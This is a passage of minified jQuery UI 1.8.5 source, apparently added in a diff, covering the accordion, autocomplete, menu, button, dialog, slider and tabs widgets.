+down:g,autoHeight:e.autoHeight||e.fillSpace}:{toShow:a,toHide:b,complete:j,down:g,autoHeight:e.autoHeight||e.fillSpace};if(!e.proxied)e.proxied=e.animated;if(!e.proxiedDuration)e.proxiedDuration=e.duration;e.animated=c.isFunction(e.proxied)?e.proxied(d):e.proxied;e.duration=c.isFunction(e.proxiedDuration)?e.proxiedDuration(d):e.proxiedDuration;f=c.ui.accordion.animations;var i=e.duration,k=e.animated;if(k&&!f[k]&&!c.easing[k])k="slide";f[k]||(f[k]=function(l){this.slide(l,{easing:k,duration:i||700})}); +f[k](d)}else{if(e.collapsible&&f)a.toggle();else{b.hide();a.show()}j(true)}b.prev().attr({"aria-expanded":"false",tabIndex:-1}).blur();a.prev().attr({"aria-expanded":"true",tabIndex:0}).focus()},_completed:function(a){this.running=a?0:--this.running;if(!this.running){this.options.clearStyle&&this.toShow.add(this.toHide).css({height:"",overflow:""});this.toHide.removeClass("ui-accordion-content-active");this._trigger("change",null,this.data)}}});c.extend(c.ui.accordion,{version:"1.8.5",animations:{slide:function(a, +b){a=c.extend({easing:"swing",duration:300},a,b);if(a.toHide.size())if(a.toShow.size()){var d=a.toShow.css("overflow"),f=0,g={},h={},e;b=a.toShow;e=b[0].style.width;b.width(parseInt(b.parent().width(),10)-parseInt(b.css("paddingLeft"),10)-parseInt(b.css("paddingRight"),10)-(parseInt(b.css("borderLeftWidth"),10)||0)-(parseInt(b.css("borderRightWidth"),10)||0));c.each(["height","paddingTop","paddingBottom"],function(j,i){h[i]="hide";j=(""+c.css(a.toShow[0],i)).match(/^([\d+-.]+)(.*)$/);g[i]={value:j[1], +unit:j[2]||"px"}});a.toShow.css({height:0,overflow:"hidden"}).show();a.toHide.filter(":hidden").each(a.complete).end().filter(":visible").animate(h,{step:function(j,i){if(i.prop=="height")f=i.end-i.start===0?0:(i.now-i.start)/(i.end-i.start);a.toShow[0].style[i.prop]=f*g[i.prop].value+g[i.prop].unit},duration:a.duration,easing:a.easing,complete:function(){a.autoHeight||a.toShow.css("height","");a.toShow.css({width:e,overflow:d});a.complete()}})}else a.toHide.animate({height:"hide",paddingTop:"hide", +paddingBottom:"hide"},a);else a.toShow.animate({height:"show",paddingTop:"show",paddingBottom:"show"},a)},bounceslide:function(a){this.slide(a,{easing:a.down?"easeOutBounce":"swing",duration:a.down?1E3:200})}}})})(jQuery); +;/* + * jQuery UI Autocomplete 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Autocomplete + * + * Depends: + * jquery.ui.core.js + * jquery.ui.widget.js + * jquery.ui.position.js + */ +(function(e){e.widget("ui.autocomplete",{options:{appendTo:"body",delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null},_create:function(){var a=this,b=this.element[0].ownerDocument;this.element.addClass("ui-autocomplete-input").attr("autocomplete","off").attr({role:"textbox","aria-autocomplete":"list","aria-haspopup":"true"}).bind("keydown.autocomplete",function(c){if(!a.options.disabled){var d=e.ui.keyCode;switch(c.keyCode){case d.PAGE_UP:a._move("previousPage", +c);break;case d.PAGE_DOWN:a._move("nextPage",c);break;case d.UP:a._move("previous",c);c.preventDefault();break;case d.DOWN:a._move("next",c);c.preventDefault();break;case d.ENTER:case d.NUMPAD_ENTER:a.menu.element.is(":visible")&&c.preventDefault();case d.TAB:if(!a.menu.active)return;a.menu.select(c);break;case d.ESCAPE:a.element.val(a.term);a.close(c);break;default:clearTimeout(a.searching);a.searching=setTimeout(function(){if(a.term!=a.element.val()){a.selectedItem=null;a.search(null,c)}},a.options.delay); +break}}}).bind("focus.autocomplete",function(){if(!a.options.disabled){a.selectedItem=null;a.previous=a.element.val()}}).bind("blur.autocomplete",function(c){if(!a.options.disabled){clearTimeout(a.searching);a.closing=setTimeout(function(){a.close(c);a._change(c)},150)}});this._initSource();this.response=function(){return a._response.apply(a,arguments)};this.menu=e("
    ").addClass("ui-autocomplete").appendTo(e(this.options.appendTo||"body",b)[0]).mousedown(function(c){var d=a.menu.element[0]; +c.target===d&&setTimeout(function(){e(document).one("mousedown",function(f){f.target!==a.element[0]&&f.target!==d&&!e.ui.contains(d,f.target)&&a.close()})},1);setTimeout(function(){clearTimeout(a.closing)},13)}).menu({focus:function(c,d){d=d.item.data("item.autocomplete");false!==a._trigger("focus",null,{item:d})&&/^key/.test(c.originalEvent.type)&&a.element.val(d.value)},selected:function(c,d){d=d.item.data("item.autocomplete");var f=a.previous;if(a.element[0]!==b.activeElement){a.element.focus(); +a.previous=f}if(false!==a._trigger("select",c,{item:d})){a.term=d.value;a.element.val(d.value)}a.close(c);a.selectedItem=d},blur:function(){a.menu.element.is(":visible")&&a.element.val()!==a.term&&a.element.val(a.term)}}).zIndex(this.element.zIndex()+1).css({top:0,left:0}).hide().data("menu");e.fn.bgiframe&&this.menu.element.bgiframe()},destroy:function(){this.element.removeClass("ui-autocomplete-input").removeAttr("autocomplete").removeAttr("role").removeAttr("aria-autocomplete").removeAttr("aria-haspopup"); +this.menu.element.remove();e.Widget.prototype.destroy.call(this)},_setOption:function(a,b){e.Widget.prototype._setOption.apply(this,arguments);a==="source"&&this._initSource();if(a==="appendTo")this.menu.element.appendTo(e(b||"body",this.element[0].ownerDocument)[0])},_initSource:function(){var a=this,b,c;if(e.isArray(this.options.source)){b=this.options.source;this.source=function(d,f){f(e.ui.autocomplete.filter(b,d.term))}}else if(typeof this.options.source==="string"){c=this.options.source;this.source= +function(d,f){a.xhr&&a.xhr.abort();a.xhr=e.getJSON(c,d,function(g,i,h){h===a.xhr&&f(g);a.xhr=null})}}else this.source=this.options.source},search:function(a,b){a=a!=null?a:this.element.val();this.term=this.element.val();if(a.length").data("item.autocomplete",b).append(e("").text(b.label)).appendTo(a)},_move:function(a,b){if(this.menu.element.is(":visible"))if(this.menu.first()&&/^previous/.test(a)||this.menu.last()&&/^next/.test(a)){this.element.val(this.term);this.menu.deactivate()}else this.menu[a](b);else this.search(null,b)},widget:function(){return this.menu.element}});e.extend(e.ui.autocomplete,{escapeRegex:function(a){return a.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&")}, +filter:function(a,b){var c=new RegExp(e.ui.autocomplete.escapeRegex(b),"i");return e.grep(a,function(d){return c.test(d.label||d.value||d)})}})})(jQuery); +(function(e){e.widget("ui.menu",{_create:function(){var a=this;this.element.addClass("ui-menu ui-widget ui-widget-content ui-corner-all").attr({role:"listbox","aria-activedescendant":"ui-active-menuitem"}).click(function(b){if(e(b.target).closest(".ui-menu-item a").length){b.preventDefault();a.select(b)}});this.refresh()},refresh:function(){var a=this;this.element.children("li:not(.ui-menu-item):has(a)").addClass("ui-menu-item").attr("role","menuitem").children("a").addClass("ui-corner-all").attr("tabindex", +-1).mouseenter(function(b){a.activate(b,e(this).parent())}).mouseleave(function(){a.deactivate()})},activate:function(a,b){this.deactivate();if(this.hasScroll()){var c=b.offset().top-this.element.offset().top,d=this.element.attr("scrollTop"),f=this.element.height();if(c<0)this.element.attr("scrollTop",d+c);else c>=f&&this.element.attr("scrollTop",d+c-f+b.height())}this.active=b.eq(0).children("a").addClass("ui-state-hover").attr("id","ui-active-menuitem").end();this._trigger("focus",a,{item:b})}, +deactivate:function(){if(this.active){this.active.children("a").removeClass("ui-state-hover").removeAttr("id");this._trigger("blur");this.active=null}},next:function(a){this.move("next",".ui-menu-item:first",a)},previous:function(a){this.move("prev",".ui-menu-item:last",a)},first:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},last:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},move:function(a,b,c){if(this.active){a=this.active[a+"All"](".ui-menu-item").eq(0); +a.length?this.activate(c,a):this.activate(c,this.element.children(b))}else this.activate(c,this.element.children(b))},nextPage:function(a){if(this.hasScroll())if(!this.active||this.last())this.activate(a,this.element.children(":first"));else{var b=this.active.offset().top,c=this.element.height(),d=this.element.children("li").filter(function(){var f=e(this).offset().top-b-c+e(this).height();return f<10&&f>-10});d.length||(d=this.element.children(":last"));this.activate(a,d)}else this.activate(a,this.element.children(!this.active|| +this.last()?":first":":last"))},previousPage:function(a){if(this.hasScroll())if(!this.active||this.first())this.activate(a,this.element.children(":last"));else{var b=this.active.offset().top,c=this.element.height();result=this.element.children("li").filter(function(){var d=e(this).offset().top-b+c-e(this).height();return d<10&&d>-10});result.length||(result=this.element.children(":first"));this.activate(a,result)}else this.activate(a,this.element.children(!this.active||this.first()?":last":":first"))}, +hasScroll:function(){return this.element.height()").addClass("ui-button-text").html(this.options.label).appendTo(b.empty()).text(),d=this.options.icons,e=d.primary&&d.secondary;if(d.primary||d.secondary){b.addClass("ui-button-text-icon"+(e?"s":d.primary?"-primary":"-secondary"));d.primary&&b.prepend("");d.secondary&&b.append("");if(!this.options.text){b.addClass(e?"ui-button-icons-only":"ui-button-icon-only").removeClass("ui-button-text-icons ui-button-text-icon-primary ui-button-text-icon-secondary"); +this.hasTitle||b.attr("title",c)}}else b.addClass("ui-button-text-only")}}});a.widget("ui.buttonset",{_create:function(){this.element.addClass("ui-buttonset");this._init()},_init:function(){this.refresh()},_setOption:function(b,c){b==="disabled"&&this.buttons.button("option",b,c);a.Widget.prototype._setOption.apply(this,arguments)},refresh:function(){this.buttons=this.element.find(":button, :submit, :reset, :checkbox, :radio, a, :data(button)").filter(":ui-button").button("refresh").end().not(":ui-button").button().end().map(function(){return a(this).button("widget")[0]}).removeClass("ui-corner-all ui-corner-left ui-corner-right").filter(":visible").filter(":first").addClass("ui-corner-left").end().filter(":last").addClass("ui-corner-right").end().end().end()}, +destroy:function(){this.element.removeClass("ui-buttonset");this.buttons.map(function(){return a(this).button("widget")[0]}).removeClass("ui-corner-left ui-corner-right").end().button("destroy");a.Widget.prototype.destroy.call(this)}})})(jQuery); +;/* + * jQuery UI Dialog 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Dialog + * + * Depends: + * jquery.ui.core.js + * jquery.ui.widget.js + * jquery.ui.button.js + * jquery.ui.draggable.js + * jquery.ui.mouse.js + * jquery.ui.position.js + * jquery.ui.resizable.js + */ +(function(c,j){c.widget("ui.dialog",{options:{autoOpen:true,buttons:{},closeOnEscape:true,closeText:"close",dialogClass:"",draggable:true,hide:null,height:"auto",maxHeight:false,maxWidth:false,minHeight:150,minWidth:150,modal:false,position:{my:"center",at:"center",of:window,collision:"fit",using:function(a){var b=c(this).css(a).offset().top;b<0&&c(this).css("top",a.top-b)}},resizable:true,show:null,stack:true,title:"",width:300,zIndex:1E3},_create:function(){this.originalTitle=this.element.attr("title"); +if(typeof this.originalTitle!=="string")this.originalTitle="";this.options.title=this.options.title||this.originalTitle;var a=this,b=a.options,d=b.title||" ",f=c.ui.dialog.getTitleId(a.element),g=(a.uiDialog=c("
    ")).appendTo(document.body).hide().addClass("ui-dialog ui-widget ui-widget-content ui-corner-all "+b.dialogClass).css({zIndex:b.zIndex}).attr("tabIndex",-1).css("outline",0).keydown(function(i){if(b.closeOnEscape&&i.keyCode&&i.keyCode===c.ui.keyCode.ESCAPE){a.close(i);i.preventDefault()}}).attr({role:"dialog", +"aria-labelledby":f}).mousedown(function(i){a.moveToTop(false,i)});a.element.show().removeAttr("title").addClass("ui-dialog-content ui-widget-content").appendTo(g);var e=(a.uiDialogTitlebar=c("
    ")).addClass("ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix").prependTo(g),h=c('').addClass("ui-dialog-titlebar-close ui-corner-all").attr("role","button").hover(function(){h.addClass("ui-state-hover")},function(){h.removeClass("ui-state-hover")}).focus(function(){h.addClass("ui-state-focus")}).blur(function(){h.removeClass("ui-state-focus")}).click(function(i){a.close(i); +return false}).appendTo(e);(a.uiDialogTitlebarCloseText=c("")).addClass("ui-icon ui-icon-closethick").text(b.closeText).appendTo(h);c("").addClass("ui-dialog-title").attr("id",f).html(d).prependTo(e);if(c.isFunction(b.beforeclose)&&!c.isFunction(b.beforeClose))b.beforeClose=b.beforeclose;e.find("*").add(e).disableSelection();b.draggable&&c.fn.draggable&&a._makeDraggable();b.resizable&&c.fn.resizable&&a._makeResizable();a._createButtons(b.buttons);a._isOpen=false;c.fn.bgiframe&& +g.bgiframe()},_init:function(){this.options.autoOpen&&this.open()},destroy:function(){var a=this;a.overlay&&a.overlay.destroy();a.uiDialog.hide();a.element.unbind(".dialog").removeData("dialog").removeClass("ui-dialog-content ui-widget-content").hide().appendTo("body");a.uiDialog.remove();a.originalTitle&&a.element.attr("title",a.originalTitle);return a},widget:function(){return this.uiDialog},close:function(a){var b=this,d;if(false!==b._trigger("beforeClose",a)){b.overlay&&b.overlay.destroy();b.uiDialog.unbind("keypress.ui-dialog"); +b._isOpen=false;if(b.options.hide)b.uiDialog.hide(b.options.hide,function(){b._trigger("close",a)});else{b.uiDialog.hide();b._trigger("close",a)}c.ui.dialog.overlay.resize();if(b.options.modal){d=0;c(".ui-dialog").each(function(){if(this!==b.uiDialog[0])d=Math.max(d,c(this).css("z-index"))});c.ui.dialog.maxZ=d}return b}},isOpen:function(){return this._isOpen},moveToTop:function(a,b){var d=this,f=d.options;if(f.modal&&!a||!f.stack&&!f.modal)return d._trigger("focus",b);if(f.zIndex>c.ui.dialog.maxZ)c.ui.dialog.maxZ= +f.zIndex;if(d.overlay){c.ui.dialog.maxZ+=1;d.overlay.$el.css("z-index",c.ui.dialog.overlay.maxZ=c.ui.dialog.maxZ)}a={scrollTop:d.element.attr("scrollTop"),scrollLeft:d.element.attr("scrollLeft")};c.ui.dialog.maxZ+=1;d.uiDialog.css("z-index",c.ui.dialog.maxZ);d.element.attr(a);d._trigger("focus",b);return d},open:function(){if(!this._isOpen){var a=this,b=a.options,d=a.uiDialog;a.overlay=b.modal?new c.ui.dialog.overlay(a):null;d.next().length&&d.appendTo("body");a._size();a._position(b.position);d.show(b.show); +a.moveToTop(true);b.modal&&d.bind("keypress.ui-dialog",function(f){if(f.keyCode===c.ui.keyCode.TAB){var g=c(":tabbable",this),e=g.filter(":first");g=g.filter(":last");if(f.target===g[0]&&!f.shiftKey){e.focus(1);return false}else if(f.target===e[0]&&f.shiftKey){g.focus(1);return false}}});c(a.element.find(":tabbable").get().concat(d.find(".ui-dialog-buttonpane :tabbable").get().concat(d.get()))).eq(0).focus();a._isOpen=true;a._trigger("open");return a}},_createButtons:function(a){var b=this,d=false, +f=c("
    ").addClass("ui-dialog-buttonpane ui-widget-content ui-helper-clearfix"),g=c("
    ").addClass("ui-dialog-buttonset").appendTo(f);b.uiDialog.find(".ui-dialog-buttonpane").remove();typeof a==="object"&&a!==null&&c.each(a,function(){return!(d=true)});if(d){c.each(a,function(e,h){h=c.isFunction(h)?{click:h,text:e}:h;e=c("",h).unbind("click").click(function(){h.click.apply(b.element[0],arguments)}).appendTo(g);c.fn.button&&e.button()});f.appendTo(b.uiDialog)}},_makeDraggable:function(){function a(e){return{position:e.position, +offset:e.offset}}var b=this,d=b.options,f=c(document),g;b.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(e,h){g=d.height==="auto"?"auto":c(this).height();c(this).height(c(this).height()).addClass("ui-dialog-dragging");b._trigger("dragStart",e,a(h))},drag:function(e,h){b._trigger("drag",e,a(h))},stop:function(e,h){d.position=[h.position.left-f.scrollLeft(),h.position.top-f.scrollTop()];c(this).removeClass("ui-dialog-dragging").height(g); +b._trigger("dragStop",e,a(h));c.ui.dialog.overlay.resize()}})},_makeResizable:function(a){function b(e){return{originalPosition:e.originalPosition,originalSize:e.originalSize,position:e.position,size:e.size}}a=a===j?this.options.resizable:a;var d=this,f=d.options,g=d.uiDialog.css("position");a=typeof a==="string"?a:"n,e,s,w,se,sw,ne,nw";d.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:d.element,maxWidth:f.maxWidth,maxHeight:f.maxHeight,minWidth:f.minWidth,minHeight:d._minHeight(), +handles:a,start:function(e,h){c(this).addClass("ui-dialog-resizing");d._trigger("resizeStart",e,b(h))},resize:function(e,h){d._trigger("resize",e,b(h))},stop:function(e,h){c(this).removeClass("ui-dialog-resizing");f.height=c(this).height();f.width=c(this).width();d._trigger("resizeStop",e,b(h));c.ui.dialog.overlay.resize()}}).css("position",g).find(".ui-resizable-se").addClass("ui-icon ui-icon-grip-diagonal-se")},_minHeight:function(){var a=this.options;return a.height==="auto"?a.minHeight:Math.min(a.minHeight, +a.height)},_position:function(a){var b=[],d=[0,0],f;if(a){if(typeof a==="string"||typeof a==="object"&&"0"in a){b=a.split?a.split(" "):[a[0],a[1]];if(b.length===1)b[1]=b[0];c.each(["left","top"],function(g,e){if(+b[g]===b[g]){d[g]=b[g];b[g]=e}});a={my:b.join(" "),at:b.join(" "),offset:d.join(" ")}}a=c.extend({},c.ui.dialog.prototype.options.position,a)}else a=c.ui.dialog.prototype.options.position;(f=this.uiDialog.is(":visible"))||this.uiDialog.show();this.uiDialog.css({top:0,left:0}).position(a); +f||this.uiDialog.hide()},_setOption:function(a,b){var d=this,f=d.uiDialog,g=f.is(":data(resizable)"),e=false;switch(a){case "beforeclose":a="beforeClose";break;case "buttons":d._createButtons(b);e=true;break;case "closeText":d.uiDialogTitlebarCloseText.text(""+b);break;case "dialogClass":f.removeClass(d.options.dialogClass).addClass("ui-dialog ui-widget ui-widget-content ui-corner-all "+b);break;case "disabled":b?f.addClass("ui-dialog-disabled"):f.removeClass("ui-dialog-disabled");break;case "draggable":b? +d._makeDraggable():f.draggable("destroy");break;case "height":e=true;break;case "maxHeight":g&&f.resizable("option","maxHeight",b);e=true;break;case "maxWidth":g&&f.resizable("option","maxWidth",b);e=true;break;case "minHeight":g&&f.resizable("option","minHeight",b);e=true;break;case "minWidth":g&&f.resizable("option","minWidth",b);e=true;break;case "position":d._position(b);break;case "resizable":g&&!b&&f.resizable("destroy");g&&typeof b==="string"&&f.resizable("option","handles",b);!g&&b!==false&& +d._makeResizable(b);break;case "title":c(".ui-dialog-title",d.uiDialogTitlebar).html(""+(b||" "));break;case "width":e=true;break}c.Widget.prototype._setOption.apply(d,arguments);e&&d._size()},_size:function(){var a=this.options,b;this.element.css({width:"auto",minHeight:0,height:0});if(a.minWidth>a.width)a.width=a.minWidth;b=this.uiDialog.css({height:"auto",width:a.width}).height();this.element.css(a.height==="auto"?{minHeight:Math.max(a.minHeight-b,0),height:c.support.minHeight?"auto":Math.max(a.minHeight- +b,0)}:{minHeight:0,height:Math.max(a.height-b,0)}).show();this.uiDialog.is(":data(resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())}});c.extend(c.ui.dialog,{version:"1.8.5",uuid:0,maxZ:0,getTitleId:function(a){a=a.attr("id");if(!a){this.uuid+=1;a=this.uuid}return"ui-dialog-title-"+a},overlay:function(a){this.$el=c.ui.dialog.overlay.create(a)}});c.extend(c.ui.dialog.overlay,{instances:[],oldInstances:[],maxZ:0,events:c.map("focus,mousedown,mouseup,keydown,keypress,click".split(","), +function(a){return a+".dialog-overlay"}).join(" "),create:function(a){if(this.instances.length===0){setTimeout(function(){c.ui.dialog.overlay.instances.length&&c(document).bind(c.ui.dialog.overlay.events,function(d){if(c(d.target).zIndex()").addClass("ui-widget-overlay")).appendTo(document.body).css({width:this.width(),height:this.height()});c.fn.bgiframe&&b.bgiframe();this.instances.push(b);return b},destroy:function(a){this.oldInstances.push(this.instances.splice(c.inArray(a,this.instances),1)[0]);this.instances.length===0&&c([document,window]).unbind(".dialog-overlay");a.remove();var b=0;c.each(this.instances,function(){b=Math.max(b,this.css("z-index"))});this.maxZ=b},height:function(){var a, +b;if(c.browser.msie&&c.browser.version<7){a=Math.max(document.documentElement.scrollHeight,document.body.scrollHeight);b=Math.max(document.documentElement.offsetHeight,document.body.offsetHeight);return a");if(!b.values)b.values=[this._valueMin(),this._valueMin()];if(b.values.length&&b.values.length!==2)b.values=[b.values[0],b.values[0]]}else this.range=d("
    ");this.range.appendTo(this.element).addClass("ui-slider-range");if(b.range==="min"||b.range==="max")this.range.addClass("ui-slider-range-"+b.range);this.range.addClass("ui-widget-header")}d(".ui-slider-handle",this.element).length===0&&d("").appendTo(this.element).addClass("ui-slider-handle"); +if(b.values&&b.values.length)for(;d(".ui-slider-handle",this.element).length").appendTo(this.element).addClass("ui-slider-handle");this.handles=d(".ui-slider-handle",this.element).addClass("ui-state-default ui-corner-all");this.handle=this.handles.eq(0);this.handles.add(this.range).filter("a").click(function(c){c.preventDefault()}).hover(function(){b.disabled||d(this).addClass("ui-state-hover")},function(){d(this).removeClass("ui-state-hover")}).focus(function(){if(b.disabled)d(this).blur(); +else{d(".ui-slider .ui-state-focus").removeClass("ui-state-focus");d(this).addClass("ui-state-focus")}}).blur(function(){d(this).removeClass("ui-state-focus")});this.handles.each(function(c){d(this).data("index.ui-slider-handle",c)});this.handles.keydown(function(c){var e=true,f=d(this).data("index.ui-slider-handle"),h,g,i;if(!a.options.disabled){switch(c.keyCode){case d.ui.keyCode.HOME:case d.ui.keyCode.END:case d.ui.keyCode.PAGE_UP:case d.ui.keyCode.PAGE_DOWN:case d.ui.keyCode.UP:case d.ui.keyCode.RIGHT:case d.ui.keyCode.DOWN:case d.ui.keyCode.LEFT:e= +false;if(!a._keySliding){a._keySliding=true;d(this).addClass("ui-state-active");h=a._start(c,f);if(h===false)return}break}i=a.options.step;h=a.options.values&&a.options.values.length?(g=a.values(f)):(g=a.value());switch(c.keyCode){case d.ui.keyCode.HOME:g=a._valueMin();break;case d.ui.keyCode.END:g=a._valueMax();break;case d.ui.keyCode.PAGE_UP:g=a._trimAlignValue(h+(a._valueMax()-a._valueMin())/5);break;case d.ui.keyCode.PAGE_DOWN:g=a._trimAlignValue(h-(a._valueMax()-a._valueMin())/5);break;case d.ui.keyCode.UP:case d.ui.keyCode.RIGHT:if(h=== +a._valueMax())return;g=a._trimAlignValue(h+i);break;case d.ui.keyCode.DOWN:case d.ui.keyCode.LEFT:if(h===a._valueMin())return;g=a._trimAlignValue(h-i);break}a._slide(c,f,g);return e}}).keyup(function(c){var e=d(this).data("index.ui-slider-handle");if(a._keySliding){a._keySliding=false;a._stop(c,e);a._change(c,e);d(this).removeClass("ui-state-active")}});this._refreshValue();this._animateOff=false},destroy:function(){this.handles.remove();this.range.remove();this.element.removeClass("ui-slider ui-slider-horizontal ui-slider-vertical ui-slider-disabled ui-widget ui-widget-content ui-corner-all").removeData("slider").unbind(".slider"); +this._mouseDestroy();return this},_mouseCapture:function(a){var b=this.options,c,e,f,h,g;if(b.disabled)return false;this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()};this.elementOffset=this.element.offset();c=this._normValueFromMouse({x:a.pageX,y:a.pageY});e=this._valueMax()-this._valueMin()+1;h=this;this.handles.each(function(i){var j=Math.abs(c-h.values(i));if(e>j){e=j;f=d(this);g=i}});if(b.range===true&&this.values(1)===b.min){g+=1;f=d(this.handles[g])}if(this._start(a, +g)===false)return false;this._mouseSliding=true;h._handleIndex=g;f.addClass("ui-state-active").focus();b=f.offset();this._clickOffset=!d(a.target).parents().andSelf().is(".ui-slider-handle")?{left:0,top:0}:{left:a.pageX-b.left-f.width()/2,top:a.pageY-b.top-f.height()/2-(parseInt(f.css("borderTopWidth"),10)||0)-(parseInt(f.css("borderBottomWidth"),10)||0)+(parseInt(f.css("marginTop"),10)||0)};this._slide(a,g,c);return this._animateOff=true},_mouseStart:function(){return true},_mouseDrag:function(a){var b= +this._normValueFromMouse({x:a.pageX,y:a.pageY});this._slide(a,this._handleIndex,b);return false},_mouseStop:function(a){this.handles.removeClass("ui-state-active");this._mouseSliding=false;this._stop(a,this._handleIndex);this._change(a,this._handleIndex);this._clickOffset=this._handleIndex=null;return this._animateOff=false},_detectOrientation:function(){this.orientation=this.options.orientation==="vertical"?"vertical":"horizontal"},_normValueFromMouse:function(a){var b;if(this.orientation==="horizontal"){b= +this.elementSize.width;a=a.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)}else{b=this.elementSize.height;a=a.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)}b=a/b;if(b>1)b=1;if(b<0)b=0;if(this.orientation==="vertical")b=1-b;a=this._valueMax()-this._valueMin();return this._trimAlignValue(this._valueMin()+b*a)},_start:function(a,b){var c={handle:this.handles[b],value:this.value()};if(this.options.values&&this.options.values.length){c.value=this.values(b); +c.values=this.values()}return this._trigger("start",a,c)},_slide:function(a,b,c){var e;if(this.options.values&&this.options.values.length){e=this.values(b?0:1);if(this.options.values.length===2&&this.options.range===true&&(b===0&&c>e||b===1&&c1){this.options.values[a]=this._trimAlignValue(b);this._refreshValue();this._change(null,a)}if(arguments.length)if(d.isArray(arguments[0])){c=this.options.values;e=arguments[0];for(f=0;fthis._valueMax())return this._valueMax();var b=this.options.step>0?this.options.step:1,c=a%b;a=a-c;if(Math.abs(c)*2>=b)a+=c>0?b:-b;return parseFloat(a.toFixed(5))},_valueMin:function(){return this.options.min},_valueMax:function(){return this.options.max},_refreshValue:function(){var a= +this.options.range,b=this.options,c=this,e=!this._animateOff?b.animate:false,f,h={},g,i,j,l;if(this.options.values&&this.options.values.length)this.handles.each(function(k){f=(c.values(k)-c._valueMin())/(c._valueMax()-c._valueMin())*100;h[c.orientation==="horizontal"?"left":"bottom"]=f+"%";d(this).stop(1,1)[e?"animate":"css"](h,b.animate);if(c.options.range===true)if(c.orientation==="horizontal"){if(k===0)c.range.stop(1,1)[e?"animate":"css"]({left:f+"%"},b.animate);if(k===1)c.range[e?"animate":"css"]({width:f- +g+"%"},{queue:false,duration:b.animate})}else{if(k===0)c.range.stop(1,1)[e?"animate":"css"]({bottom:f+"%"},b.animate);if(k===1)c.range[e?"animate":"css"]({height:f-g+"%"},{queue:false,duration:b.animate})}g=f});else{i=this.value();j=this._valueMin();l=this._valueMax();f=l!==j?(i-j)/(l-j)*100:0;h[c.orientation==="horizontal"?"left":"bottom"]=f+"%";this.handle.stop(1,1)[e?"animate":"css"](h,b.animate);if(a==="min"&&this.orientation==="horizontal")this.range.stop(1,1)[e?"animate":"css"]({width:f+"%"}, +b.animate);if(a==="max"&&this.orientation==="horizontal")this.range[e?"animate":"css"]({width:100-f+"%"},{queue:false,duration:b.animate});if(a==="min"&&this.orientation==="vertical")this.range.stop(1,1)[e?"animate":"css"]({height:f+"%"},b.animate);if(a==="max"&&this.orientation==="vertical")this.range[e?"animate":"css"]({height:100-f+"%"},{queue:false,duration:b.animate})}}});d.extend(d.ui.slider,{version:"1.8.5"})})(jQuery); +;/* + * jQuery UI Tabs 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Tabs + * + * Depends: + * jquery.ui.core.js + * jquery.ui.widget.js + */ +(function(d,p){function u(){return++v}function w(){return++x}var v=0,x=0;d.widget("ui.tabs",{options:{add:null,ajaxOptions:null,cache:false,cookie:null,collapsible:false,disable:null,disabled:[],enable:null,event:"click",fx:null,idPrefix:"ui-tabs-",load:null,panelTemplate:"
    ",remove:null,select:null,show:null,spinner:"Loading…",tabTemplate:"
  • #{label}
  • "},_create:function(){this._tabify(true)},_setOption:function(a,e){if(a=="selected")this.options.collapsible&& +e==this.options.selected||this.select(e);else{this.options[a]=e;this._tabify()}},_tabId:function(a){return a.title&&a.title.replace(/\s/g,"_").replace(/[^\w\u00c0-\uFFFF-]/g,"")||this.options.idPrefix+u()},_sanitizeSelector:function(a){return a.replace(/:/g,"\\:")},_cookie:function(){var a=this.cookie||(this.cookie=this.options.cookie.name||"ui-tabs-"+w());return d.cookie.apply(null,[a].concat(d.makeArray(arguments)))},_ui:function(a,e){return{tab:a,panel:e,index:this.anchors.index(a)}},_cleanup:function(){this.lis.filter(".ui-state-processing").removeClass("ui-state-processing").find("span:data(label.tabs)").each(function(){var a= +d(this);a.html(a.data("label.tabs")).removeData("label.tabs")})},_tabify:function(a){function e(g,f){g.css("display","");!d.support.opacity&&f.opacity&&g[0].style.removeAttribute("filter")}var b=this,c=this.options,h=/^#.+/;this.list=this.element.find("ol,ul").eq(0);this.lis=d(" > li:has(a[href])",this.list);this.anchors=this.lis.map(function(){return d("a",this)[0]});this.panels=d([]);this.anchors.each(function(g,f){var i=d(f).attr("href"),l=i.split("#")[0],q;if(l&&(l===location.toString().split("#")[0]|| +(q=d("base")[0])&&l===q.href)){i=f.hash;f.href=i}if(h.test(i))b.panels=b.panels.add(b._sanitizeSelector(i));else if(i&&i!=="#"){d.data(f,"href.tabs",i);d.data(f,"load.tabs",i.replace(/#.*$/,""));i=b._tabId(f);f.href="#"+i;f=d("#"+i);if(!f.length){f=d(c.panelTemplate).attr("id",i).addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").insertAfter(b.panels[g-1]||b.list);f.data("destroy.tabs",true)}b.panels=b.panels.add(f)}else c.disabled.push(g)});if(a){this.element.addClass("ui-tabs ui-widget ui-widget-content ui-corner-all"); +this.list.addClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.lis.addClass("ui-state-default ui-corner-top");this.panels.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom");if(c.selected===p){location.hash&&this.anchors.each(function(g,f){if(f.hash==location.hash){c.selected=g;return false}});if(typeof c.selected!=="number"&&c.cookie)c.selected=parseInt(b._cookie(),10);if(typeof c.selected!=="number"&&this.lis.filter(".ui-tabs-selected").length)c.selected= +this.lis.index(this.lis.filter(".ui-tabs-selected"));c.selected=c.selected||(this.lis.length?0:-1)}else 